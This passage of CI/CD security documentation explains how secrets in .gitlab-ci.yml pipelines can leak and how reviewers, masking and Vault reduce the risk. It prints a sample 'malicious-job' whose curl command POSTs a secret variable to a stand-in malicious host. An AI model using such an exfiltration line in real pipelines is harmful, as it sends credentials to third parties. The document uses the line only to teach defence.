6. CI/CD Variable Security
Code pushed to the .gitlab-ci.yml file could compromise your variables. Variables could be accidentally exposed in a job log, or maliciously sent to a third-party server.
Review all merge requests that introduce changes to the .gitlab-ci.yml file before you merge the changes.
Review the .gitlab-ci.yml file of imported projects before you add files or run pipelines against them.
The following example shows malicious code in a .gitlab-ci.yml file:
accidental-leak-job:
script: # Password exposed accidentally
- echo "This script logs into the DB with $USER $PASSWORD"
- db-login $USER $PASSWORD
malicious-job:
script: # Secret exposed maliciously
- curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/"
To help reduce the risk of accidentally leaking secrets through scripts like in accidental-leak-job, all variables containing sensitive information should be masked in job logs. You can also limit a variable to protected branches and tags only.
Alternatively, as mentioned before, you can use the GitLab integration with HashiCorp Vault to store and retrieve secrets.
Malicious scripts like in malicious-job must be caught during the review process. Reviewers should never trigger a pipeline when they find code like this, because malicious code can compromise both masked and protected variables.
Variable values are encrypted using aes-256-cbc
and stored in the database. This data can only be read and decrypted with a valid secrets file
.